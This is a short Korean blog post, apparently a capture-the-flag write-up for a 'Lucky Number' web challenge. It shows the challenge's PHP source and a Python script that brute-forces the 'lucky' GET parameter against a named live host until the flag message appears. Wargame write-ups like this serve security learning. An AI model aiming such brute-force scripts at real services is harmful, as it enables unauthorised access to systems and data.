ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Ch4n3 World - Lucky Number? (Coding)
    정보보안/웹 2018. 1. 19. 19:22
    1. <?php  
    2.   
    3. $luckyNumber = "????";  
    4. include('./lucky_conf.php');        //flag is defined in this file  
    5. if(isset($_GET['lucky'])) {  
    6.     $getLucky = $_GET['lucky'];  
    7.     if($luckyNumber != $getLucky) {  
    8.         echo("Lucky number is not correct.<hr>");  
    9.     } else {  
    10.         echo("Lucky number! You can get the flag<hr>");  
    11.         die($flag);  
    12.     }  
    13. }  
    14.   
    15. highlight_file(__FILE__);  
    16. ?>  

    페이지에서 GET으로 lucky 변수의 값을 받는데 그 값이 magic number가 되면 Flag를 준다.

    코드를 짜서 브포때리는 것을 의도한 문제로 친절하게 범위까지 준다.

    1. import re  
    2. import urllib  
    3. for i in range(19999):  
    4.     fw=urllib.urlopen("http://chaneyoon.dothome.co.kr/lucky.php?lucky=%s"%i)  
    5.     read=fw.read()  
    6.     flag=re.findall("Lucky number! You can get the flag", read)  
    7.     if flag:  
    8.         print "Lucky number is: %d"%i  
    9.         break  

    구글링을 하면 나오는 다른 워게임 문제 풀이를 참고해서 저렇게 Python코드를 짰다.

    lucky 값을 브포하고(range 범위는 헷갈리긴 한데 답을 1이나 9999로 해둘 사람은 없으니 그냥 해도 상관없어 보인다),

    사이트를 읽어와서 "Lucky number! You can get the flag" 문자열이 있으면 해당 lucky 값을 출력하는 것이다.

    실행하니 Lucky number가 나오는데 그걸 문제 사이트에 전달하면 아래처럼 Flag가 나와서 기분이 좋아진다. 


    댓글

Designed by Tistory